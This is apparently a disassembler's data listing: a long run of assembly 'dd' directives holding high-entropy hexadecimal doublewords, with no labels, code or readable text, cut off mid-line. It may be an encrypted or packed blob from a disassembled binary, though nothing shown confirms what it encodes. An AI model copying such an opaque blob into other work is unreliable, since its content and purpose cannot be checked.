dd 0A4E400DEh, 2D03D4FFh, 113F529Ah, 7A49007Fh, 8B391A5Dh dd 4CC33C77h, 210E3F00h, 0CCE51187h, 26B2C100h, 1D28348Ah dd 0BF8C130Bh, 405D1E9Eh, 0C217E64Dh, 777A2B8Bh, 21681901h dd 847E07C6h, 302042DDh, 3CC70754h, 890A2AC4h, 0FE9B54C0h dd 58979F01h, 593F99F8h, 925D034h, 0CC29C34Bh, 4EA124E8h dd 3B36280Bh, 267B009Fh, 0B93753h, 2F1B555Ah, 0F02C1982h dd 0ECD89B01h, 37A1F7B4h, 99DAA540h, 0CCCF0F17h, 5FE0CA1Bh dd 9225A085h, 81B5450Fh, 7B07A030h, 0E97FD577h, 0DBDAE4h dd 0FF314BCFh, 0D897A84Ch, 388654Ch, 365E35ABh, 0F0B4D399h dd 7B448F90h, 0BCEB07Eh, 4BA92C3Bh, 2AE0809Bh, 6C7E5E41h dd 301ED100h, 692B818Ah, 7C57000Bh, 18089AEFh, 1700E197h dd 9B786029h, 0BA686Ah, 0DD37AE22h, 0E4BDB9Dh, 40076EF8h dd 5C7A3A63h, 5EB80920h, 42FB02F1h, 1A45CD8Bh, 9B9A30E0h dd 922F2400h, 3F1D5DEDh, 17763F07h, 57D54F00h, 0BDEB98BFh dd 0C4743E0Bh, 0C0790E89h, 2B4430D4h, 0DE8D0F3Ch, 0EE0D7EAh dd 0CF33054Dh, 32BDB600h, 0C9F5E642h, 88F80BE2h, 0E482198Dh dd 0E98F6E06h, 36601038h, 54E06F00h, 3F7CACA3h, 169B0141h dd 1BB34DC0h, 0CDFFF829h, 11AD3000h, 4F381463h, 1C131DC2h dd 0D3B486D6h, 3D712984h, 86D5B201h, 97B7F18Eh, 0DB00602Ch dd 604EBB5Bh, 3F00C951h, 9D0F5C2Fh, 533E1Ah, 2CD5E0C6h dd 84B3AFB1h, 85051D7Dh, 506542C7h, 2934CC40h, 2E410C9Fh dd 1D2E015Ch, 4C02538h, 0CC028945h, 0AD5DA13Ch, 4630C8C3h dd 0ECDE01E6h, 91935C78h, 0F24461F2h, 0C4006942h, 0AE5D9A1Bh dd 3EF18A9h, 0F293F0B0h, 0FF5C3CC8h, 20F1B4h, 0AFBF6A08h dd 430260E5h, 33D52B3Ch, 0C00A40D1h, 0A7CD007Dh, 0F2F035B8h dd 6B75198Bh, 0AC4738DCh, 0EA838AC3h, 4218C0C0h, 0F6743C12h dd 73B8DE03h, 6ED04D82h, 0F3020B71h, 7DEECE0Eh, 9D9C5E98h dd 0C65E98F0h, 9E507C66h, 8600E80Ch, 0A59C58FEh, 3EE26216h dd 6400F676h, 140B87E1h, 56006D34h, 98EC1FA1h, 4BA291CFh dd 0B9B0CCC6h, 1BFD400h, 0FC7BB634h, 990D0094h, 6D5A039Bh dd 7100F10Eh, 4E4F1D15h, 3F3A012Fh, 0F8809635h, 31681B30h dd 9A0E6540h, 205FEF07h, 0FF924C9Bh, 0BC670098h, 8003D615h dd 0C2008BA1h, 5C4D0941h, 139651A2h, 0CEACADh, 4A4CD6A9h dd 0DB00DED7h, 31BF7C8h, 9E83F47h, 7334FDEFh, 0B6400480h dd 220F01A7h, 49DBECh, 0C2C9BDB4h, 4A4F00F0h, 36CF732Dh dd 0B9EAF539h, 6B2C4274h, 0FD82F6FBh, 0A0C51191h, 9416C9F8h dd 6C1B3F8Bh, 0C1441D72h, 0FAB08CBFh, 8E000F20h, 5BDCF9Dh dd 780D41h, 0B891C55Bh, 9274DBFDh, 0EE83F406h, 9760A9CFh dd 68684C2Ch, 9413028Ch, 0B8741BA4h, 2B020116h, 0FDB65A94h dd 0C5A2C4B1h, 9FF2C206h, 7D0BD4Ch, 48BA6418h, 12103C32h dd 6B1DBC07h, 0E480C05Fh, 62A6D1F3h, 3D74A0C7h, 0AF83BC74h dd 614F95Eh, 0FA57F218h, 62034051h, 313F84D7h, 4F10002Bh dd 77D0109Dh, 38EE7566h, 0A81EAF00h, 0E87F3CE7h, 0DF141436h dd 0C3FA04F7h, 0C05B4B0h, 0A0D3B10h, 3DF8BC18h, 0AC0503F6h dd 0DC8C0462h, 0B326680h, 903B4CCDh, 0BC34C207h, 2802164Fh dd 5C8ADE74h, 0AF700ACh, 0AAE22BD8h, 81073800h, 1E27974Bh dd 9DF61EFFh, 0C72A40ECh, 2F63AB9Ch, 0DF03B500h, 38625153h dd 0C2700072h, 0E5D49333h, 6B005237h, 0CC75D066h, 0A12908h dd 0DDB5E3Bh, 6718CA28h, 7E6C2101h, 0C3D7F7D8h, 2EA5D4h dd 0B2456486h, 12EFB773h, 80713D38h, 0CCD5DA3Ah, 29F7D3h dd 0AEA7A5Fh, 0C5071CB0h, 0E4B80E00h, 209ACA4Bh, 4190002Bh dd 5D70C964h, 3B004DCCh, 6710C146h, 5A21AFh, 0D331C068h dd 65BA4079h, 364548h, 0B1D59218h, 0F67430Bh, 81D1207Fh dd 67B40EA7h, 827BD3A5h, 1305D588h, 7074DEEh, 8BE9EBFEh dd 4FD9FD20h, 0C4E00040h dd 48648F18h, 706E5BFh, 683BBA34h, 81580010h, 1AB10F9Eh dd 9700E120h, 0AFB6C1F5h, 0B0D2C7C3h, 0DB801D1Ch, 91D94041h dd 0A7518384h, 313EEF0Bh, 0A0E78FF0h, 0CCDF047Bh, 899E01D7h dd 90D55F1Eh, 706C2475h, 0CF133300h, 0D1011850h, 0DF45018Ch dd 8792824Bh, 0BF0EDC34h, 84C0B800h, 5A1E2ABh, 0BA04009Bh dd 0A9A70D40h, 0DC4C06EAh, 0FF1300E9h, 41C0373Ch, 3D8C0B5Fh dd 2604F493h, 0A640911Dh, 844DF48Ah, 0EEB62D01h, 0D637CB87h dd 0C0E48ED2h, 0BB3E83CDh, 0AF0900C5h, 8FB8E6F3h, 0B5005F77h dd 0C0E94A90h, 747D380Dh, 1BD8018Ch, 0BF607AE5h, 20A88228h dd 803D1FEAh, 0CCB546E8h, 3E1D00C6h, 65F367F7h, 0C00C85Fh dd 4F1E1282h, 44B247Bh, 355DF6BFh, 6494C134h, 62D1704Eh dd 3378B700h, 3EB0480Eh, 86A3393Fh, 4079AA92h, 0AFFE39ACh dd 18306E0Fh, 31758188h, 0CB273D5Bh, 2433600Fh, 449BB5E0h dd 4700AEB6h, 7B30C8E9h, 5014B2A5h, 4DF8B8h, 79625292h dd 7F0F6624h, 0D07D1E0h, 95CCAA9h, 45E0C360h, 0E299006Bh dd 0D5C1042Ah, 38609FBDh, 0ADC58D88h, 0BC3554C9h, 0B5690017h dd 0B9746092h, 97007D1Ah, 87BAC6ADh, 4347C5h, 0A2729366h dd 926ACE90h, 5F5B4A00h, 697C8516h, 0A47324ECh, 1E010074h dd 182F9256h, 0B6010F74h, 0E6CA4435h, 5BD0E5C7h, 7BA50466h dd 0D06C3126h, 4B9F0D38h, 34E60378h, 0D0BA0100h, 0DC1BB7AEh dd 2410060h, 0BC197C31h, 5CA4C258h, 4262B50Ah, 0F5603880h dd 4887C191h, 3B3CB760h, 58CC1E00h, 36A81BDh, 0BF0410E4h dd 19CB25DCh, 1FD3F081h, 508AE0h, 0AE6A2348h, 0F59D5C28h dd 0F9C28700h, 0A5D63B34h, 0CDE095h, 0E5097EE2h, 0D83251E4h dd 3D003F79h, 634EDC20h, 1E24EBB6h, 3766C50h, 151D7A9Eh dd 0CDA3C000h, 54E49FC8h, 0EDA400BBh, 0BE833CBFh, 0DF184A91h dd 0A928322Bh, 0FC8129F5h, 1F9391DCh, 98416074h, 2643724h dd 7FD0D0h, 0D9364265h, 0C37E7208h, 0F8D65501h, 0BBD721A7h dd 982D9440h, 54CB1F53h, 2E81220h, 0EB85822Ch, 9967C440h dd 299E6112h, 21034803h, 0DC40A5C9h, 70478E9h, 33BD0020h dd 0B1D7DF53h, 0A62665C6h, 0AC8A08C8h, 9D00E09Eh, 4C9C8492h dd 62C000F6h, 7493EBF1h, 0A26081FAh, 7DBED988h, 0E97539E7h dd 320FD8CCh, 88C55953h, 0BA8C02E0h, 3FC0F2D1h, 96011269h dd 9452CE1Eh, 302051AFh, 34490026h, 27825C44h, 0DC903CB7h dd 0A222310Ah, 0C92A061h, 11AF440h, 90DD5EC5h, 0C7250134h dd 3EF804A1h, 829180BDh, 3A946E2Bh, 28BC4CE3h, 8F316C00h dd 399B861Ch, 8090C476h, 8385D700h, 2264798Bh, 25683AD8h dd 4D86E20Fh, 9ED4DAA0h, 0B96755C5h, 0C3E466C0h, 0C8D0C480h dd 4C2611C9h, 44918896h, 0C2DC91FBh, 74225Eh, 82DEE381h dd 3EFA23h, 8B1C038h, 51F1D142h, 924CA60Eh, 24B038A5h dd 9146137Fh, 7F941F2Fh, 36C8717h, 3A49EA8Ah, 0E64EAFE8h dd 5BB8CDFCh, 0E844B893h, 2045DC22h, 15E9208Fh, 5C5D803Ch dd 0D1193E7Ch, 5DC04C80h, 0C238E0B8h, 7709987Ch, 8F3D0119h dd 0C9DBC068h, 0AC79D6Dh, 0EFD69080h, 0B25A8FC0h, 9F8C2000h dd 8300D5AEh, 81566705h, 0FC31F019h, 0A2AB1FE7h, 0E086447h dd 403F1EA8h, 0D673C640h, 3D1CBE01h, 9E803B18h, 6E7DD0AAh dd 0CD910FA9h, 0F2A0365Ah, 4A4BB777h, 0C91AC500h, 0E9F824E7h dd 54D8E940h, 0E31D07A9h, 50478299h, 6022D930h, 6A3B2B00h dd 0CFB35FE7h, 0CB5C007Fh, 0ED4C9455h, 92750B5Eh, 3CA07648h dd 80153E5Ah, 7342F372h, 0FE16DAh, 0DE9C952Eh, 0C41BB934h dd 10AF8B00h, 177359C2h, 364E05BAh, 8153C0FBh, 0E43E5C2Ch dd 0B100372Bh, 57F4135Ah, 56ECCDh, 194250DAh, 63DC43DEh dd 486FDF3Bh, 0E31E0070h, 0F8C6C4D4h, 0FDD98883h, 35421900h dd 0EB3F0322h, 8E68120Fh, 5A0040F5h, 65F8DD28h, 0E034FF0Eh dd 0E037EF3Dh, 4663DB4Fh, 14D20085h, 0B2D9ECC0h, 6D2E26F6h dd 1B00FF65h, 88060CBCh, 0BE540094h, 0E7874DA5h, 70030AA3h dd 0ADFB3FD2h, 25CFC1DDh, 2D4E65F0h, 1ED812EEh, 4873Ah dd 79E2C189h, 929EB8C4h, 916E7740h, 519F6070h, 171885E9h dd 0E818BF2Fh, 4790231h, 1DAED12Bh, 6B8A5040h, 30B55109h dd 0C7B02594h, 0D08BB883h, 7E31CE89h, 81C50493h, 93F0F1A4h dd 0B8D08C20h, 5F1F4279h, 3F00CCDDh, 12EB02B5h, 0CE657A54h dd 20A4E928h, 0CAD08004h, 3D009DD0h, 9E899F74h, 718A9D2h dd 0F0B3196h, 0CE77D07Ah, 0D5032034h, 5A9B9759h, 75B801E2h dd 0D22D2404h, 28ACEC60h, 858F8401h, 672636FCh, 254D0280h dd 0E366656Ch, 0C6C2ECA0h, 5BA00705h, 808A7F0Eh, 0A26773Fh dd 948F837Ch, 60D8D916h, 0CD5D31FDh, 8BD4C8E0h, 383192A1h dd 0CC3B71E6h, 7700E265h, 1F69DD3Fh, 7A38C842h, 5B1002Fh dd 522756CCh, 0C95C9381h, 7BC0B4F4h, 181EEE64h, 583F9EF4h dd 0DCB86808h, 10884Dh, 706B9C47h, 4338A5Eh, 1DDBBBF9h dd 5B0CC1D5h, 9EEC62ACh, 24E4A815h, 90027B0h, 0C498C585h dd 4BC100B9h, 0DEA79D40h, 390065DAh, 2419CD5Fh, 0C02A47BCh dd 0EC8C2580h, 55005134h, 4D0D84FFh, 0E844D6h, 9AE2A2Dh dd 0E53A6223h, 5C47BF38h, 0C9CC406Dh, 0EEA11100h, 74220731h dd 269C90FDh, 49F4622Bh, 2F9007h, 86D7A470h, 5996A23Ch dd 64C22C34h, 0B3AEC103h, 0B6CFD91Bh, 193FD6F0h, 0E0A545BAh dd 7F6430C5h, 8070B85Dh, 30F99781h, 8D0E0F93h, 53A0809Ah dd 768B25CDh, 4E8AC50Fh, 0F02F004Ah, 746AD63h, 9EF5EE60h dd 7745104Fh, 3A07B1E4h, 922B49F3h, 0B4A4EB44h, 57A72C90h dd 32F64ED8h, 2C6063D4h, 0AF006C7Eh, 0C86EEB8Dh, 4403Fh dd 0ADC5A405h, 0BDE36A0Fh, 0FCA37D00h, 429A36B4h, 325F125Bh dd 0A160C07Ah, 915D0508h, 9EBC0C4h, 0E6726BA9h, 0A274057Eh dd 0C19450B8h, 24440C7Ch, 2D00B040h, 0ACB3FE35h, 4D4CA8h dd 343B52D3h, 51B548EAh, 0BB020300h, 1DD10135h, 10F13BBFh dd 0E5930E00h, 259693Eh, 44A1DC0Bh, 77E8A118h, 502035D0h dd 0D6B067h, 0A84AB9DDh, 929B668Ah, 8F398500h, 0DCB33696h dd 0BE1025FEh, 1AA4C801h, 0AC988930h, 444822DEh, 0A50C821h dd 282B625Bh, 59003765h, 168C12CCh, 67FE17h, 7F4A5BE4h dd 0C4129DF3h, 0C200D54Eh, 409CBE35h, 0BB3E007Bh, 0ECC8B509h dd 84EE8EA1h, 0D51E320Eh, 0E7720214h, 0F8E868E1h, 485B7B8Dh dd 7139C535h, 0AE187700h, 0AF38958h, 4EFE4300h, 0A5F56F5Ah dd 0AA140009h, 0A3049C17h, 0A000E1EEh, 15D8B40h, 0E78E439h dd 9848D607h, 204618C7h, 0FCEF9510h, 500707Ah, 75A1DF94h dd 0F1B533h, 46902D4Eh, 6927F059h, 6B01E7F8h, 0F49787E3h dd 0A0EDF84Fh, 16D6DC40h, 5A1A00ADh, 6F38A59Dh, 0A200E192h dd 95262C60h, 3F71F73h, 3DD1C50Dh, 0BDE0498Fh, 0CC00AA6Ah dd 81889FA2h, 71D6FA8Dh, 0C641C54h, 9CA9C07Eh, 0C7089120h dd 782A49h, 0EB9ED193h, 126219E8h, 8856D8A4h, 21601118h dd 0C572EC31h, 4F28C069h, 7BFD7D9Fh, 0A41E8201h, 56756E9Dh dd 0FFF46880h, 3EC766A3h, 2A7D3200h, 9ABC6D1Bh, 65C0390h dd 7F997768h, 3D87DFE0h, 0C0EE8300h, 851138Ah, 66EB009Ch dd 0BF6F861Ah, 4F0ED83Bh, 0E38A489Eh, 0E00DA509h, 6A8154Dh dd 0F8E02244h, 6E18109Ch, 0F438926Ch, 3D1E61Bh, 0CB1FAA50h dd 0EBF8E468h, 5F1DED80h dd 38C75859h, 0C5C091F6h, 4C257E9Ch, 8200D88Dh, 8BE999BCh dd 0A50005FDh, 379F8157h, 8E5CF0h, 47A1D152h, 0A97D6845h dd 5D760F04h, 0ADC0E9CAh, 50F87Fh, 0D981F756h, 128E9C6Fh dd 0B2A5E109h, 70120073h, 902CBF49h, 43443F0Ch, 7502E8BDh dd 910F542Dh, 0EBE23478h, 0DDCD3C06h, 28010DEh, 92B57FABh dd 7870F1FAh, 626D4B00h, 0D411C364h, 0ABBB0567h, 0E07DE334h dd 0F3007AC5h, 45085992h, 0F8251Fh, 0B1337FAAh, 4D365B0Fh dd 75AC1E00h, 8F0EFE6Ch, 34A107D0h, 0C0626B52h, 54D9071h dd 0D7E3C21Eh, 0D004C24h, 0ECF6EFADh, 1E487DCDh, 0CFC8338Bh dd 2C0E7404h, 97E1C300h, 830FCF18h, 527F4Fh, 2FC91A88h dd 0AA680FFFh, 0CEA03CA1h, 3569982Ch, 6490C300h, 7903BF95h dd 0D0E24857h, 0DE87AE07h, 0D8EB30EEh, 0A790148h, 287EAD00h dd 52DA06B4h, 1B704Eh, 0DD1245B9h, 2C3D3A03h, 0D4A0F3F4h dd 0EEFA9FF7h, 3FC9F202h, 40CA780Bh, 17B714D0h, 253C21Dh dd 0A2087934h, 920ACC40h, 0FD6D8100h, 66208E6Ch, 84180087h dd 0AFBC524Ch, 0E01E73B5h, 8984BFB3h, 0B4802886h, 3E149BB7h dd 70BF6EFCh, 8255EF00h, 8F1C5693h, 947AF924h, 4CD83300h dd 48F61D50h, 0C005E74h, 0F78B431Eh, 0EC009A3Bh, 935E353Ah dd 0E1C412h, 19EF5771h, 0FA1597F2h, 0B5907803h, 9817F34Ah dd 78A96B4h, 0C57C6B2Bh, 0C19ED013h, 800F748h, 0D4E681C2h dd 7122D64Bh, 0CA110039h, 0F8723B97h, 91002FD5h, 4A7CD444h dd 0EFD740h, 0E0297DA8h, 418D18ABh, 0E43FCC7Fh, 8A8800BDh dd 336A2E9Dh, 26F1003Eh, 4A0CD535h, 0D200D9BFh, 9A1FE78h dd 6A3F6h, 0E67CC1ECh, 75C9B474h, 7033C00h, 49CB9BF0h dd 0AFB8009Eh, 0C612D372h, 0EF011855h, 0C8905048h, 69CD8810h dd 61E6EE41h, 974FAECh, 8186952Ah, 84BE0055h, 2704A0h dd 0DD71E5B5h, 7EF9684Dh, 0D000FF4Ah, 0A29351DFh, 0B8435C9Ah dd 794B601Ch, 0EE837CDDh, 0C8907AFh, 6FDC88Eh, 0AA3158h dd 37818F90h, 1F8499h, 3AA19F12h, 58407F6Fh, 613B88A0h dd 7E009C90h, 27108C9Eh, 0FFFF0B4h, 5153DBBAh, 34AFE1E0h dd 0FC9A0560h, 55D1C701h, 0EA219ADDh, 2F68D824h, 4001825h dd 5F8BFA9Bh, 0A39F48h, 0EBC31EBAh, 30FE9CC6h, 0F7303ACCh dd 448401EFh, 6C3A5AE2h, 1885B760h, 0CE807237h, 8618F0h dd 0B5624CBBh, 90C1E131h, 0C320BD05h, 0D7C0D1F1h, 0F84F82BEh dd 1F7A3068h, 5B882859h, 22949C00h, 1E2FD1EAh, 0C2A8002Ah dd 0FEA2E8BFh, 842624E2h, 0A400D9C1h, 1192202h, 38DD60F7h dd 3D2B60BBh, 6C71B302h, 80229753h, 1A6EB078h, 7F39009Ah dd 0B276D73Ah, 0EA02E0E6h, 0BE216687h, 384C580Ah, 2802689h dd 0E7D1E896h, 0E20142A9h, 0DF2DADD9h, 12ED65D0h, 0D4D820D9h dd 975E009Dh, 52DEDC01h, 6D002962h, 32F7DDA0h, 66063DAh dd 680E1438h, 3B246111h, 4A9C146Eh, 6CCF8700h, 4C349A25h dd 26008D61h, 0B713D69h, 0C6012BDEh, 0A688A3E3h, 0A56124CBh dd 0EB4ED180h, 2CF6C0E6h, 0A7622F0Eh, 0CE78E3D7h, 761E6DEh dd 9161A018h, 89B0F029h, 6900ABE8h, 199AFB07h, 46A8AB6h dd 62867BA3h, 3569C037h, 0E979C339h, 0BC806CBEh, 680C2AD0h dd 83328833h, 5C80DC50h, 47B16003h, 0F7FE0CB4h, 0B8264805h dd 83D50020h, 7B9E0396h, 0B30734C6h, 5F99A62h, 0E550E9E0h dd 0B5CC0379h, 34B9877Ah, 8EE0D5C1h, 27684210h, 41405480h dd 726C98DAh, 7EE50178h, 267D7C67h, 6BACD058h, 757920C0h dd 0EF1078h, 3B6EB42Dh, 87623512h, 0AD86631Eh, 0FDF5E601h dd 608F3E59h, 0DA4567D0h, 0C372C78Dh, 18303D39h, 61237138h dd 10F060B9h, 40BDE3B4h, 537AB200h, 3A41DB16h, 0D98E1CE6h dd 0DA390C8Fh, 0F9006128h, 0F6366CBFh, 3AC7E7B4h, 0A237B534h dd 0BF64B049h, 4C3E40AEh, 840990FCh, 10243D02h, 7C97B269h dd 0F780B091h, 0EB451AFAh, 0AA604818h, 0C0469471h, 2B54FCD1h dd 0B33A14D2h, 26198FC0h, 781500FDh, 1C9B82h, 0D287739h dd 0E5B2EF47h, 8FCF800h, 48FB681Eh, 19F91DE2h, 4C2000B3h dd 336F1D5Bh, 0F48A2F00h, 7A437692h, 0BFE7008Bh, 66D50B86h dd 6503CCEAh, 0B51F37EBh, 0EF09056h, 801C00D6h, 0E117995Eh dd 5C0074A9h, 36EFD1BCh, 9805A6B0h, 1EF884h, 0CF65C4D6h dd 0F68C8E0Eh, 474D3C0Eh, 6945A02Eh, 7B110C0h, 0E78DD046h dd 6114D34Fh, 9F1158h, 85E659Dh, 63E68A38h, 4FCA089Bh dd 96A62000h, 588E1A9Dh, 745900B8h, 358FC610h, 8630D742h dd 5DEE4865h, 30DE49h, 0BF74C0FAh, 8A1F437Ah, 0A240C405h dd 0A7B538C1h, 0C8AC0E99h, 0B87E0603h, 428D793Fh, 0C041B6F7h dd 0D548057Ch, 927200C3h, 2B9E39A3h, 357B863h, 43166478h dd 0C1006F0Eh, 0AA9BFCCEh, 7ACFC904h, 388B1D0Dh, 0ACE48057h dd 0F5C3DAA8h, 443B1518h, 3750430h, 423FDCBAh, 0C1008E50h dd 816D79ADh, 6FC5B486h, 0AB80C8F6h, 83C3EA72h, 0A525F40Eh dd 849AA151h, 0FED1A0A8h, 378B6F4h, 66F7D6C6h, 39009657h dd 0B25F2D0h, 53738Ch, 0BA67C548h, 0C69BA183h, 6615117Ah dd 79843ABh, 6371296Dh, 0EE857A43h, 0E67407D9h, 708408FEh dd 0C6DAAE06h, 0B25415FEh, 0AD3E4694h, 39A50BF2h, 2E720CBDh dd 0D48400C6h, 720268E0h, 0E4E05B2Ah, 0E2EEF416h, 0E6F09318h dd 0B7A838FFh, 0B08C4518h, 0BB00AA70h, 0E585E3F6h, 3DC6FDB5h dd 0F000035Ch, 8F573F3Bh, 0E0746B65h, 21B818A0h, 6FC8A803h dd 0F4D449h, 796677F9h, 7ACAD212h, 5C734100h, 3BD652DFh dd 75673C7Fh, 87216D0Fh, 0C8D0C303h, 40F848E9h, 77977C84h dd 5A1FE8E8h, 0D00FFD55h, 32798188h, 5089CF0Dh, 4C2110F7h dd 0D542C2FBh, 9471F0DEh, 9B398400h, 89BF6555h, 2DC7C1Fh dd 76C524EAh, 1C418A45h, 0DDD3E1A9h, 0F4BAE141h, 28C03EB6h dd 0E3A577E7h, 643A0E43h, 18F80D5Fh, 6354CAFEh, 4A665C8h dd 0CBC6FF14h, 5F3E019Ch, 50B85C57h, 14C39840h, 0C55E00F2h dd 7A39036Bh, 0B50C4FDCh, 6605C1CEh, 8C730C42h, 0CD30B6EBh dd 190FEBB0h, 0A07D5496h, 0C7CE72E3h, 74C50144h, 8A40F537h dd 0D42850B8h, 19CA0EBCh, 8611C065h, 6B617005h, 0D8EC425Ch dd 60B0748Bh, 0B906C510h, 0D61DC603h, 0EA9344A8h, 59227434h dd 72BE9001h, 7EF94F0Ah, 24E499C1h, 2F21C72Ah, 2173C5DBh dd 5271367Ch, 384A8F08h, 8C571881h, 1805F75Eh, 0E414C1D1h dd 915C8447h, 0F60823A9h, 0CD900849h, 21BF38A8h, 0C2C6E1FFh dd 0C94981E0h, 4355DBAh, 7540C881h, 0FF5BBDA2h, 892C93E0h dd 81554A30h, 19E82BC3h, 3131BF60h, 206AC571h, 0C83C9A16h dd 59F9B07Eh, 0C05F9289h, 30DAF839h, 0C50A0365h, 0CCF257DCh dd 0FB5D1783h, 0E011004Bh, 65565ABAh, 0F31577C2h, 0BC42E1h dd 0E2ED5BB8h, 17ED313h, 111A0566h, 0E1D0797Dh, 0B40E80Dh dd 6117364h, 8CEED2C0h, 0A109845h, 0B5BFC6Fh, 60942034h dd 5DDCC116h, 0C8E882B9h, 0CE38E015h, 15C040A0h, 0B3588F64h dd 0D8261CD3h, 92E9EB8Ah, 4E7E30A4h, 3F7F83A1h, 0F707C218h dd 2879CD10h, 0E68409D4h, 4187013Ah, 0DC7CBF71h, 93C4C4CFh dd 89B9080Eh, 51ED8C40h, 9040AFE6h, 907F1044h, 3703F0A2h dd 7F7C3FFh, 0F5DD0619h, 0E36B23Bh, 0E1EE9068h, 3039D524h dd 547AC30Ah, 36047C28h, 45E1F410h, 3EA82F42h, 0DC54440h dd 0CC7040C0h, 94217E2h dd 0F660332Dh, 24A68020h, 5E44D927h, 18C9D8F1h, 41444223h dd 3904221Ah, 30D5EB30h, 0D6DC58h, 0ACC6CCD1h, 770A56A5h dd 29CCD0Bh, 4F41000Bh, 319B5C7h, 792D54A0h, 0C9B31BBFh dd 6C8DF9A0h, 2E4A8207h, 0D2D03451h, 4CC338E2h, 5E2444E8h dd 36C80D1Ch, 3B54E8F0h, 26707D50h, 4C97318h, 1D61E9D4h dd 15EA1BC3h, 0F3090DDh, 757BFB20h, 62285700h, 0C4FCC7D9h dd 24710978h, 18A05F6Ch, 539C09EDh, 17383E00h, 59F31BD5h dd 4C92013Bh, 0BB7F31A7h, 20F43562h, 8A4D7C24h, 17ED002Ch dd 0FF574CBEh, 0F540E3Bh, 788C25A2h, 0BEF84F21h, 0E5EE9914h dd 296B185Ch, 1179F79h, 0BD7E86B5h, 63EEA0C0h, 0B7EC1F74h dd 481BE480h, 1371C99h, 959E8397h, 0EC499B03h, 5B244AE6h dd 0BC02575Dh, 64414F17h, 0AB1F448Ch, 7CF3BB0Ch, 0E11F5h dd 33106BC1h, 111650ADh, 587EE724h, 6D6C0504h, 7CEC98D0h dd 9DAE00A1h, 7731FD67h, 2B2C7F6Ah, 0AD00CCC2h, 0E401B746h dd 252C2ED4h, 0E5950968h, 6CC24400h, 0D673A735h, 0E95E3730h dd 2EA8729h, 3794C7Eh, 48814702h, 20B7FE8Bh, 973DB426h dd 3730FDF3h, 773B3940h, 703A011Bh, 0DE42036Dh, 3C6C568Dh dd 9D351E16h, 4CC690Bh, 60D39728h, 0DC4FB0ACh, 5731C08Fh dd 1104E9CEh, 88395Dh, 91DEDF85h, 17CCAF7h, 545FFE63h dd 0ACB10BFCh, 0DB14F49Eh, 70721620h, 0D715C804h, 9589760Fh dd 0BE080430h, 17577311h, 4A80A488h, 6878BEF0h, 0B0C10041h dd 77C6F15Ah, 0C5077357h, 7CB5197Ah, 51528CE0h, 6FBC15DDh dd 0F206E836h, 30F0FD97h, 0E068C212h, 841F7012h, 0F85CF556h dd 0A8A33DC8h, 8830E7B9h, 801C7D57h, 9914AF9Ah, 0E120844Dh dd 0E718AC2Ch, 98944DE6h, 79D9660h, 2298465Dh, 10A001CBh dd 7976CF9Dh, 0DC2ECDEh, 48E9B437h, 0A730F604h, 5D23229Dh dd 49AD08A0h, 9D99A500h, 0C0FDC6h, 0C4DB5F3Ah, 0C3447380h dd 2B0C7748h, 30BBC0Ch, 5FB402BEh, 0F4BC9B40h, 0BE0B4B43h dd 0B1C133EBh, 0CA81C801h, 58921970h, 6E24ED19h, 0DC287406h dd 65897D30h, 0F8E884CAh, 0B500027Ch, 739E9003h, 5C09813Fh dd 3C030348h, 677204D8h, 662E23F0h, 26970D01h, 4D623489h dd 60A1C834h, 0C293B854h, 0C83F0513h, 24F3A419h, 4601144h dd 77E257BEh, 614568A4h, 7BECE40h, 9DEB00B9h, 47E3E86h dd 59017529h, 0B52BDF9Ch, 5C22EF8Ah, 59307729h, 0A518A4h dd 0D9DEAAC5h, 80C6827Eh, 0B6F85C0Ah, 9600C42Dh, 4F3BF1D4h dd 30894550h, 0A953FED8h, 0C6DB02A4h, 91737F39h, 8E149984h dd 0C0D288E4h, 80C59AD3h, 0A942F514h, 24EE0668h, 10984CFCh dd 11866BD8h, 0AD0BECC2h, 0C890C5B7h, 0B40F2D15h, 9DAF5319h dd 0A366257Eh, 4F7EA8h, 5175591h, 72E18396h, 740C6890h dd 0F99F446Ch, 0FE5429E6h, 0C9560060h, 0E84ACCEDh, 406244B1h dd 6A600E4Dh, 41F70F75h, 4B7E6418h, 75FEC41h, 0F618B7FCh dd 0C34E1249h, 0A082A49Ah, 95181472h, 5E48129Dh, 7BC43810h dd 6E9D0D00h, 8E2267Fh, 0A08B7375h, 177949C4h, 4843A7Dh dd 44535Ch, 1C62CF05h, 0AEAC0BB3h, 0E405DAA8h, 9AA8306Ch dd 3A12CFDFh, 2C62EE14h, 0BE0A309Fh, 0E7575908h, 4047643Bh dd 60BEF264h, 0AB36012Ah, 0D1B67002h, 2E106288h, 7D429457h dd 5E8CA048h, 0EE6F34h, 76F1DE87h, 6320FB19h, 96B43FAh dd 0FFE43B30h, 0E0F06FC2h, 3E39D1F4h, 0F63CE29Bh, 0B0695730h dd 9C002F07h, 0DBC0B1A7h, 0E8C149D4h, 1721C0B5h, 0D9902039h dd 26862E00h, 6776FCEAh, 333502C4h, 3A0E1838h, 8B6C9860h dd 8DD0C550h, 0B10273F0h, 10DB2B46h, 0D1EC4016h, 60837A76h dd 3267108Fh, 5A01BAE1h, 0ED6A5597h, 42C1A674h, 30CDAC70h dd 3C5809D1h, 6C1FE12Fh, 78A61945h, 7F24F307h, 1F7BD11Fh dd 82DD3FB0h, 69BEDCA0h, 0FF6C99C0h, 52F0D85Ah, 435517A2h dd 8D584974h, 8167C404h, 62C54233h, 472000A0h, 9D72F8BBh dd 0F7600CDh, 0A5409023h, 2B2C443Bh, 0A15120D7h, 47237100h dd 4888B630h, 4A0324DFh, 5D1C00DDh, 7AC75328h, 0A2CD077h dd 0B15064A7h, 20F053FCh, 6437A3C4h, 0C1F2E008h, 0F4982F23h dd 0F986C191h, 20551B10h, 23F21D00h, 33D8EE86h, 0AFFB007Dh dd 1021D9ABh, 30916715h, 91179200h, 71225Eh, 0F65455BFh dd 0C5F5580Dh, 0D05BCD24h, 38178840h, 0A50501EFh, 290928C2h dd 1C8220Bh, 8108CE5h, 1CE4C4DAh, 94C308B6h, 0A43EEE1Ah dd 0ED9D54B1h, 0BE07A15Ch, 0E330439Fh, 1250B3h, 0AE7DDD62h dd 0C39578ECh, 46CE3Ch, 486DE0D5h, 4318061h, 0C8B4DB39h dd 0CC50405Bh, 0F4E89897h, 0F9693DE0h, 29A0BA82h, 0EC48C770h dd 586FCEB4h, 0C8718931h, 3DC1E6E8h, 0C82517Eh, 878608FEh dd 320D840h, 134D7B07h, 0B40036C6h, 4C7367ACh, 7C001C62h dd 0A74166E2h, 9E01275Fh, 50678E6h, 0E19DD409h, 66DB0E65h dd 9880798Bh, 0F053D122h, 0ADD4F21Eh, 0CE9A7383h, 0CA4FA038h dd 91EE17h, 2C07D82Ah, 